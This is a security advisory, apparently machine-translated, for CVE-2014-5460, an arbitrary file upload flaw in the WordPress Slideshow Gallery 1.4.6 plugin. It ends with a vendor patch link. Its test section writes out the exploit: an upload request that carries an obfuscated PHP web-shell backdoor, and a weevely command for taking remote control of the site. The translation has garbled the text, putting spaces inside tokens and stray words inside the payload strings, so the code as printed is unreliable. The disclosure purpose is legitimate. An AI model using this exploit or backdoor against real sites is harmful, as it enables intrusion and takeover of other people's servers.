WordPress Slideshow Gallery plugin 'admin. php' Arbitrary File Upload Vulnerability
Release date:
Updated on: 2014-09-03
Affected Systems:
WordPress Slideshow Gallery 1.4.6
Unaffected system:
WordPress Slideshow Gallery 1.4.7
Description:
--------------------------------------------------------------------------------
Bugtraq id: 69485
CVE (CAN) ID: CVE-2014-5460
The WordPress Slideshow Gallery plug-in displays the slides on the WordPress website.
Slideshow Gallery 1.4.6 and other versions allow any registered user to upload the PHP shell to the host system. Attackers can exploit this vulnerability to upload arbitrary files to the affected computer, as a result, arbitrary code is executed in the context of the affected application.
<* Source: Jes & #195; OS Ram & #195;-rez Pichardo
Link: http://www.securityfocus.com/archive/1/533280
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
1. An attacker uploads a PHP shell file (I. e. backdoor. php ):
POST http: // 192.168.31.128/wordpress/wp-admin/admin. php? Page = slideshow-slides
& Method = save HTTP/1.1
Content-Type: multipart/form-data
Content-Disposition: form-data; name = "image_file"; filename = "backdoor. php"
Content-Type: application/octet-stream
<? Php
$ Kvgk = str_replace ("y", "", "ysytyry_yreypylyayce ");
$ Dawj = "pdgv4cgxvaxqno2vzhjarzh8gjzwnlirrzhlic + JzzhtldmFsKGJhc2U2NF9kZWNv
ZGUz ";
$ Asrp = "gnjywnkycplcbqb2lukgfycmf5x3ngwnlkcrhlcrjkzhcrhks0zkskpksk7zwzhn
ObyAnPC8nLzhiRrLic + Jzt9 ";
$ Gxfr = "Custom
YcpLCBhcnJheSzh ";
$ Fdcd = "Hangzhou
GMzhoJGEpPjMpezhyRrPSd ";
$ Uuod = $ kvgk ("j", "", "bjase6j4j_jdjejcjojde ");
$ Qcon = $ kvgk ("av", "", "avcraveaavteav_avfavuavnavcavtiavoavn ");
$ Rpgy = $ qcon ('', $ uod ($ kvgk (" zh "," ", $ fdcd. $ dawj. $ gxfr. $ asrp); $ rpgy ();
?>
2. The backdoor is located at http: // VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor. ph
P
3. The attacker uses a security tool (I. e. weevely) in order to communicate with the backdoor.
# Weevely http: // VICTIM/wordpress/wp-content/uploads/slideshow-gallery/backdoor. ph
P whitexploit
4. Now the attacker has? Telnet-like console ?. Finally, the attacker has the remote control of the vulnerable website.
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
WordPress
---------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
Https://wordpress.org/plugins/slideshow-gallery/changelog
This article permanently updates the link address: